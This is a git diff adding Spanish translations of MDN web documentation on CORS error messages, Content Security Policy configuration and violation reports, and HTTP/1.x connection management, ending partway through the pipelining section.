+<p>{{Glossary("CORS")}} Las peticiones solo pueden usar el esquema de direcciones  HTTPS , pero la dirección especificada por la petición es de un tipo diferente. Esto a menudo ocurre si la petición especifica un archivo local, usando una dirección <code>file:///</code>.</p>
+
+<p>Para resolver este problema, simplemente asegúrate de usar direciones HTTPS cuando el emisor involucre CORS.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Errores de CORS</li>
+ <li>Glosario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introducción a CORS</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">¿Qué es una direccion?</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/index.html b/files/es/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/es/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/es/web/http/csp/index.html b/files/es/web/http/csp/index.html
new file mode 100644
index 0000000000..c01d4c28c2
--- /dev/null
+++ b/files/es/web/http/csp/index.html
@@ -0,0 +1,198 @@
+---
+title: Content Security Policy (CSP)
+slug: Web/HTTP/CSP
+tags:
+  - Política de Seguridad del Contenido
+translation_of: Web/HTTP/CSP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="tlid-translation translation"><span title=""><strong>Política de Seguridad del Contenido </strong>o<strong> </strong></span></span>( {{Glossary("CSP")}} ) - del inglés <em><strong>Content Security Policy</strong></em> - es una capa de seguridad adicional que ayuda a prevenir y mitigar algunos tipos de ataque, incluyendo Cross Site Scripting ( {{Glossary("XSS")}} ) y ataques de inyección de datos. Estos ataques son usados con diversos propósitos, desde robar información hasta desfiguración de sitios o distribución de malware .</p>
+
+<p>CSP está diseñado para ser completamente retrocompatible (excepto la versión 2 de CSP, donde hay algunas menciones explícitas de inconsistencia en la retrocompatibilidad; más detalles <a href="https://www.w3.org/TR/CSP2">aquí</a> sección 1.1).  Los navegadores que no lo soportan siguen funcionando con los servidores que lo implementan y viceversa: los navegadores que no soportan CSP simplemente lo ignoran, funcionando como siempre y delegando a la política mismo-origen para contenido web. Si el sitio web no ofrece la cabecera CSP, los navegadores igualmente usan la política estándar <a href="/en-US/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">mismo-origen</a>.</p>
+
+<p>Para habilitar CSP, necesitas configurar tu servidor web para que devuelva la cabecera HTTP {{HTTPHeader("Content-Security-Policy")}} (en ocasiones verás menciones de la cabecera <code>X-Content-Security-Policy</code>, pero se trata de una versión antigua y no necesitas especificarla más).</p>
+
+<p>Alternativamente, el elemento {{HTMLElement("meta")}} puede ser usado para configurar una política, por ejemplo: <code>&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"&gt;</code></p>
+
+<h2 id="Amenazas">Amenazas</h2>
+
+<h3 id="Mitigando_el_cross_site_scripting">Mitigando el cross site scripting</h3>
+
+<p>El principal objetivo del CSP es mitigar y reportar ataques XSS. Los ataques XSS se aprovechan de la confianza del navegador en el contenido que recibe del servidor. El navegador de la víctima ejecutará los scripts maliciosos porque confía en la fuente del contenido, aun cuando dicho contenido no provenga  de donde se supone.</p>
+
+<p>CSP hace posible que los  administradores de servidores reduzcan o eliminen las posibilidades de ocurrencia de XSS mediante la especificación de dominios que el navegador considerará como fuentes válidas de scripts ejecutables. Un navegador compatible con  CSP solo ejecutará scripts de los archivos fuentes especificados en esa lista blanca de dominios, ignorando completamente cualquier otro script (incluyendo los scripts inline y los atributos de HTML de manejo de eventos).</p>
+
+<p>Como medida extrema de protección, los sitios que nunca requieran ejecutar scripts, <span class="tlid-translation translation"><span title="">pueden optar por rechazar globalmente la ejecución de scripts.</span></span></p>
+
+<h3 id="Mitigando_los_ataques_de_análisis_de_paquetes_packet_sniffing_attacks">Mitigando los ataques de análisis de paquetes <em>(packet sniffing attacks)</em></h3>
+
+<p><span class="tlid-translation translation"><span title="">Además de restringir los dominios desde los cuales se puede cargar el contenido, el servidor puede especificar qué protocolos se pueden usar;</span> <span title="">por ejemplo (e idealmente, desde un punto de vista de seguridad), un servidor puede especificar que todo el contenido debe cargarse utilizando HTTPS.</span> <span title="">Una estrategia completa de seguridad en la transmisión de datos incluye no solo aplicar HTTPS para la transferencia de datos, sino también marcar todas las cookies con el indicador de seguridad y proporcionar redirecciones automáticas desde las páginas HTTP a sus homólogas HTTPS.</span> <span title="">Los sitios también pueden usar la cabecera HTTP      {{HTTPHeader ("Strict-Transport-Security")}} para garantizar que los navegadores se conecten a ellos solo a través de un canal cifrado.</span></span></p>
+
+<h2 id="Utilizando_CSP">Utilizando CSP</h2>
+
+<p><span class="tlid-translation translation"><span title="">La configuración de la Política de Seguridad del Contenido (CSP), consiste en agregar a una página web la cabecera</span></span> HTTP {{HTTPHeader("Content-Security-Policy")}}<span class="tlid-translation translation"><span title="">, y darle valores para controlar los recursos que el agente de usuario puede cargar para esa página.</span> <span title="">Por ejemplo, una página que carga y muestra imágenes podría permitir imágenes desde cualquier lugar, pero pudiera restringir una acción de formulario a una ruta específica.</span> <span title="">Una Política de Seguridad de Contenido adecuadamente diseñada ayuda a proteger una página contra un ataque de scripts entre sitios.</span> <span title="">Este artículo explica cómo construir dichas cabeceras correctamente y proporciona ejemplos.</span></span></p>
+
+<h3 id="Especificando_una_política">Especificando una política</h3>
+
+<p>Para especificar una política, se puede utilizar la cabecera HTTP      {{HTTPHeader("Content-Security-Policy")}}  de la siguiente manera:</p>
+
+<pre class="syntaxbox">Content-Security-Policy: <em>política</em></pre>
+
+<p>La <em>política</em> es una cadena de caracteres que contiene las directivas que describen una determinada <span class="tlid-translation translation"><span title="">Política de Seguridad de Contenido</span></span>.</p>
+
+<h3 id="Describiendo_una_política">Describiendo una política</h3>
+
+<p><span class="tlid-translation translation"><span title="">Una política se describe utilizando una serie de directivas de políticas, cada una de las cuales describe la política para un determinado tipo de recurso o área de política.</span> <span title="">Una política debe incluir una directiva de políticas {{CSP ("default-src")}}, que es una alternativa para otros tipos de recursos cuando no tienen políticas propias (para obtener una lista completa, consulte la descripción de la directiva </span></span>{{CSP("default-src")}}<span class="tlid-translation translation"><span title=""> ).</span> <span title="">Una política debe incluir una directiva   {{CSP ("default-src")}} o {{CSP ("script-src")}} para evitar la ejecución de scripts en línea, así como bloquear el uso de </span></span><code>eval()</code><span class="tlid-translation translation"><span title="">.</span> <span title="">Una política debe incluir una directiva {{CSP ("default-src")}} o {{CSP ("style-src")}} para restringir la aplicación de estilos en línea desde un elemento {{HTMLElement ("style")}}</span><span title="">} o un atributo </span></span><code>style</code><span class="tlid-translation translation"><span title="">.</span></span></p>
+
+<h2 id="Ejemplos_Casos_de_usos_frecuentes">Ejemplos: Casos de usos frecuentes</h2>
+
+<p><span class="tlid-translation translation"><span title="">Esta sección proporciona ejemplos de algunos escenarios frecuentes de políticas de seguridad.</span></span></p>
+
+<h3 id="Ejemplo_1">Ejemplo 1</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un administrador del sitio web desea que todo el contenido provenga del mismo origen que el del sitio (esto excluye subdominios).</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'</pre>
+
+<h3 id="Ejemplo_2">Ejemplo 2</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio web desea permitir el contenido de un dominio de confianza y todos sus subdominios (no tiene que ser el mismo dominio en el que está configurado el CSP).</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.trusted.com</pre>
+
+<h3 id="Ejemplo_3">Ejemplo 3</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio web desea permitir que los usuarios de una aplicación web incluyan imágenes de cualquier origen en su propio contenido, pero restringen los medios de audio o video a proveedores de confianza, y todas las secuencias de comandos solo a un servidor específico que aloja un código de confianza.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre>
+
+<p><span class="tlid-translation translation"><span title="">Aquí, de forma predeterminada, el contenido solo se permite desde el origen del documento, con las siguientes excepciones:</span></span></p>
+
+<ul>
+ <li><span title="">Las imágenes pueden cargarse desde cualquier lugar (tenga en cuenta el comodín "*").</span></li>
+ <li><span class="tlid-translation translation"><span title="">Los archivos de medios solo están permitidos desde media1.com y media2.com (y no desde los subdominios de esos sitios).</span>     </span></li>
+ <li><span class="tlid-translation translation"><span title="">El script ejecutable solo está permitido desde userscripts.example.com.</span></span></li>
+</ul>
+
+<h3 id="Ejemplo_4">Ejemplo 4</h3>
+
+<p><span class="tlid-translation translation"><span title="">En administrador de un sitio web de banca en línea quiere asegurarse de que todo su contenido se cargue mediante SSL, para evitar que los atacantes puedan espiar las solicitudes.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre>
+
+<p><span class="tlid-translation translation"><span title="">El servidor solo permite el acceso a documentos que se cargan específicamente a través de HTTPS a través del único origen onlinebanking.jumbobank.com.</span></span></p>
+
+<h3 id="Ejemplo_5">Ejemplo 5</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio de correo web desea permitir HTML en el correo electrónico, así como imágenes cargadas desde cualquier lugar, pero no JavaScript u otro contenido potencialmente peligroso.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre>
+
+<p><span class="tlid-translation translation"><span title="">Tenga en cuenta que este ejemplo no especifica un {{CSP ("script-src")}} ;</span> <span title="">con el CSP de ejemplo, este sitio utiliza la configuración especificada por la directiva {{CSP ("default-src")}} , lo que significa que los scripts solo se pueden cargar desde el servidor de origen.</span></span></p>
+
+<h2 id="Comprobando_una_política">Comprobando una política</h2>
+
+<p><span class="tlid-translation translation"><span title="">Para facilitar la implementación, CSP se puede implementar en modo de solo informe.</span> <span title="">La política no se aplica, pero cualquier violación se informa a un URI proporcionado.</span> <span title="">Además, se puede usar una cabecera de solo informe para probar una futura revisión de una política sin implementarla realmente.</span><br>
+ <br>
+ <span title="">Se puede usar la cabecera HTTP {{HTTPHeader ("Content-Security-Policy-Report-Only")}} para especificar una política de la siguiente manera:</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>policy</em> </pre>
+
+<p><span class="tlid-translation translation"><span title="">Si la cabecera {{HTTPHeader ("Content-Security-Policy-Report-Only")}} y la cabecera {{HTTPHeader ("Content-Security-Policy")}} están presentes en la misma respuesta, ambas políticas se cumplen.</span> <span title="">La política especificada en la cabecera </span></span><code>Content-Security-Policy</code><span class="tlid-translation translation"><span title=""> se aplica, mientras que la política </span></span><code>Content-Security-Policy-Report-Only</code><span class="tlid-translation translation"><span title=""> genera informes pero no se aplica.</span></span></p>
+
+<h2 id="Habilitación_de_informes">Habilitación de informes</h2>
+
+<p><span class="tlid-translation translation"><span title="">Por defecto, los informes de violación no son enviados.</span> <span title="">Para habilitar los informes de violación, debe especificar la directiva de políticas {{CSP ("report-uri")}} , proporcionando al menos un URI al que entregar los informes:</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
+
+<p><span class="tlid-translation translation"><span title="">Luego se debe configurar el servidor para recibir los informes;</span> <span title="">se pueden almacenar o procesar de la manera que considere apropiada.</span></span></p>
+
+<h2 id="Sintáxis_del_informe_de_violación">Sintáxis del informe de violación</h2>
+
+<p>El informe es un objeto JSON que contiene los datos siguientes:</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El URI del recurso bloqueado por la Política de Seguridad de Contenido.</span> <span title="">Si el URI bloqueado es de un origen diferente al del <strong>document-uri</strong>, el URI bloqueado se trunca para contener solo el esquema, el host y el puerto.</span></span></dd>
+</dl>
+
+<dl>
+ <dt><code>disposition</code></dt>
+ <dd>Toma el valor <code>"enforce"</code> o <code>"reporting"</code> dependiendo de si se utiliza la cabecera {{HTTPHeader("Content-Security-Policy-Report-Only")}} o <code>Content-Security-Policy</code>.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>El URI del documento donde ocurrió la violación.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>La directiva cuya aplicación causó la violación.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>La política original especificada por la cabecera HTTP <code>Content-Security-Policy</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El referente del documento en el que ocurrió la violación.</span></span></dd>
+ <dt><code>script-sample</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">Los primeros 40 caracteres del script inline, el controlador de eventos o el estilo que causó la violación.</span></span></dd>
+ <dt><code>status-code</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El código de estado HTTP del recurso en el que se creó una instancia del objeto global.</span></span></dd>
+ <dt><code>violated-directive</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El nombre de la sección de política que fue violada.</span></span></dd>
+</dl>
+
+<h2 id="Ejemplo_de_informe_de_violación">Ejemplo de informe de violación</h2>
+
+<div>Consideremos una página ubicada en <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code> que tiene las siguiente política: rechazar todo, excepto las hojas de estilo provenientes de <code>cdn.example.com</code>.</div>
+
+<div>
+<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+</div>
+
+<div>El código HTML de <code>signup.html</code> es el siguiente:</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Sign Up&lt;/title&gt;
+    &lt;link rel="stylesheet" href="css/style.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    ... Content ...
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div>¿Puedes ver el error? <span class="tlid-translation translation"><span title="">Las hojas de estilo solo se pueden cargar desde </span></span><code>cdn.example.com</code><span class="tlid-translation translation"><span title="">, pero el sitio web intenta cargar una desde su propio origen (</span></span><code>http://example.com</code><span class="tlid-translation translation"><span title="">).</span> <span title="">Un navegador capaz de aplicar el CSP enviará el siguiente informe de violación mediante una solicitud POST a </span></span><code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code><span class="tlid-translation translation"><span title="">, cuando se visite el documento:</span></span></div>
+
+<pre>{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}</pre>
+
+<p><span class="tlid-translation translation"><span title="">Como se puede ver, el informe incluye la ruta completa al recurso infractor en </span></span><code>blocked-uri</code><span class="tlid-translation translation"><span title="">.</span> <span title="">Este no es siempre el caso.</span> <span title="">Por ejemplo, cuando </span></span><code>signup.html</code><span class="tlid-translation translation"><span title=""> intente cargar el CSS desde </span></span><a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a><span class="tlid-translation translation"><span title="">, el navegador no incluiría la ruta completa, sino solo el origen (</span></span><code>http://anothercdn.example.com</code><span class="tlid-translation translation"> <span title="">).</span> <span title="">La especificación CSP da una explicación de este extraño comportamiento.</span> <span title="">En resumen, esto se hace para evitar la pérdida de información confidencial sobre recursos de origen cruzado.</span></span></p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden"><span class="tlid-translation translation"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir con los datos, visite </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a><span class="tlid-translation translation"><span title=""> y envíenos una solicitud de extracción.</span></span></p>
+
+<p>{{Compat("http.headers.csp")}}</p>
+
+<p><span class="tlid-translation translation"><span title="">Existe una incompatibilidad específica en algunas versiones del navegador web Safari, por lo que si se establece una cabecera de Política de Seguridad de Contenido, pero no una cabecera de Same Origin, el navegador bloqueará el contenido alojado de forma autónoma y el contenido externo, e informará incorrectamente de que esto es d</span><span title="">ebido a que la Política de Seguridad del Contenido no permite el contenido.</span></span></p>
+
+<div class="tlid-result-transliteration-container result-transliteration-container transliteration-container">
+<div class="tlid-transliteration-content transliteration-content full"></div>
+</div>
+
+
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li>
+  <p><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html
new file mode 100644
index 0000000000..5e9fff8fa9
--- /dev/null
+++ b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html
@@ -0,0 +1,86 @@
+---
+title: Gestión de la conexión en  HTTP/1.x
+slug: Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">La gestión de las conexiones en un tema fundamental en HTTP: crear y mantener una conexión tiene una gran influencia en el rendimiento de las páginas Web y las aplicaciones Web. En la versión HTTP/1.x, hay modos de conexión: conexiones breves, conexiones persistentes, y '<em>pipelining</em>'.</p>
+
+<p>HTTP la mayor parte de las veces se basa en TCP, como protocolo de transporte, dando conexión entre el cliente y el servidor. En sus comienzos, HTTP, únicamente tenia un modelo para gestionar dichas conexiones. Aquellas conexiones eran conexiones breves: se creaba una cada vez que una petición necesitaba ser transmitida, y se cerraba, una vez que la respuesta se había recibido. </p>
+
+<p>Este sencillo modelo tenía una limitación intrínseca en su rendimiento: abrir una conexión TCP es una operación costosa en recursos. Se necesitan intercambiar varios mensajes entre el cliente y el servidor para hacerlo. Y la latencia de la red y su ancho de banda, se veían afectados cuando se realizaba una petición. Las páginas web actuales, necesitan varias peticiones (una docena o más) para tener la información necesaria, de manera que este primer modelo es ineficiente para ellas.</p>
+
+<p>Dos nuevos modelos se presentaron en HTTP/1.1. La conexión persistente, mantiene las conexiones abiertas, entre peticiones sucesivas, eliminando así el tiempo necesario para abrir nuevas conexiones. El modelo 'pipelining' va un paso más allá, y envía varias peticiones sucesivas, sin esperar por la respuesta, reduciendo significativamente la latencia en la red. </p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>HTTP/2 añade nuevos modelos para la gestión de la conexión. </p>
+</div>
+
+<p>Un punto significativo a tener en cuenta en la gestión de la conexión de HTTP, es que este se refiere a la conexión establecida entre dos nodos consecutivos de la red, esto se denomina <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>, en contraposición al concepto de  <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>. El modelo de conexión entre un cliente y su primer proxy, puede ser distinto que la comunicación entre el proxy y el servidor de destino (u otro proxy intermedio).  Las cabeceras de HTTP utilizadas para definir el modelo de conexión como  {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}}, se refieren a una conexión <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>, y estos parámetros, pueden variar en las comunicaciones de los nodos intermedios. </p>
+
+<p>Un tema también relativo a esto, es el concepto de conexiones con protocolos HTTP superiores, donde una conexión HTTP/1.1 se actualiza a un protocolo distinto, como puede ser TLS/1.0, WebSockets, o HTTP/2.  Este <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">mecanismo de actualización del </a><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">protocolo</a> se encuentra documentado en otra página.</p>
+
+<h2 id="Conexiones_breves">Conexiones breves</h2>
+
+<p>El modelo original de HTTP, y el modelo de HTTP/1.0, está basado, en conexiones breves. Cada petición HTTP, se completa estableciendo (iniciando, estableciendo y cerrando) su propia conexión. Esto supone que la coordinación en el protocolo HTTP (handshake), sucede de forma previa a cada petición HTTP.</p>
+
+<p>La coordinación o inicialización de una comunicación en el protocolo TCP, requiere un tiempo dado, pero al adaptarse el protocolo TCP a su carga de transmisión de datos, este incrementa su eficiencia cuando se mantiene la conexión en el tiempo, utilizándose una conexión para transmitir numerosos peticiones de datos. Las conexiones breves, no utilizan esta característica del protocolo TCP, y el rendimiento de la conexión es peor que en el caso óptimo, al estar constantemente necesitando iniciar conexiones para transmitir cada mensaje (esto se conoce como conexiones 'en frio', o en inglés: 'cold connections'). </p>
+
+<p>La conexión breve es la conexión usada por defecto en HTTP/1.0 (únicamente en el caso de no esté definida la  cabecera {{HTTPHeader("Connection")}}, o su valor sea  <code>close</code>  entonces, no se utilizaria el modelo de conexiones breves). En HTTP/1.1, este modelo de conexión unicamente se utiliza al definir la cabecera  {{HTTPHeader("Connection")}} como <code>close</code>  .</p>
+
+<div class="note">
+<p>A menos que  se de la situación en que se ha de trabajar con sistemas antiguos que no soportan conexiones persistentes, no hay otra razón para el uso de este modelo de conexiones. </p>
+</div>
+
+<h2 id="Conexiones_persistentes">Conexiones persistentes</h2>
+
+<p>Las conexiones breves, tienen dos importantes desventajas: el tiempo que necesitan para establecer una nueva conexión es significativo, y la eficacia del protocolo inferior a HTTP: el TCP unicamente mejora cuando la conexión ha estado funcionando durante algún tiempo (conexión caliente o 'warm connection' en inglés). Para atenuar dichos inconvenientes, se presentó el concepto de conexión persistente, ya incluso antes de presentar el protocolo HTTP/1.1. También se le conoce como <em>'keep-alive connection</em>' que en inglés indica una conexión que se mantiene viva. </p>
+
+<p>Una conexión persistente es aquella la cual permanece abierta por un periodo, y puede ser reutilizada por varias peticiones de datos, ahorrando así la necesidad de efectuar nuevas sincronizaciones a nivel de TCP, de esta manera se puede usar más eficazmente el protocolo TCP. Esta conexión no estará abierta permanentemente, si la conexión no se usa, se cerrará después de un tiempo determinado (un servidor puede usar la cabecera {{HTTPHeader("Keep-Alive")}} para definir el tiempo mínimo que la conexión debería estar abierta. </p>
+
+<p>Las conexiones persistentes también tienen sus desventajas: incluso cuando no están transmitiendo datos, consumen recursos, y en casos en que la red esté soportando una carga de transferencia muy alta, un {{glossary("DoS attack", "ataque DoS ")}} puede realizarse. En estos casos, el uso de conexiones no persistentes, las cuales se cierran tan pronto como no necesitan transmitir, pueden resultar en un sistema más eficaz.</p>
+
+<p>HTTP/1.0 las conexiones HTTP/1.0 no son persistentes por defecto. Si se indica en la cabecera de un mensaje {{HTTPHeader("Connection")}} cualquier otro valor que no sea:  <code>close</code>, como puede ser: <code>retry-after</code>,  en tal caso, se harán conexiones persistentes. </p>
+
+<p>En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera no se necesita (aunque usualmente se añade como medida defensiva, en caso de que se tenga que utilizar el protocolo HTTP/1.0).</p>
+
+<h2 id="HTTP_pipelining">HTTP pipelining</h2>
+
+<div class="note">
+<p>HTTP pipelining no está activado por defecto en los navegacdores modernos:</p>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Proxies</a> con defectos de implementación son habituales y provocan comportamientos extraños y erráticos, que los desarrolladores de Webs, no pueden predecir, ni corregir fácilmente.</li>
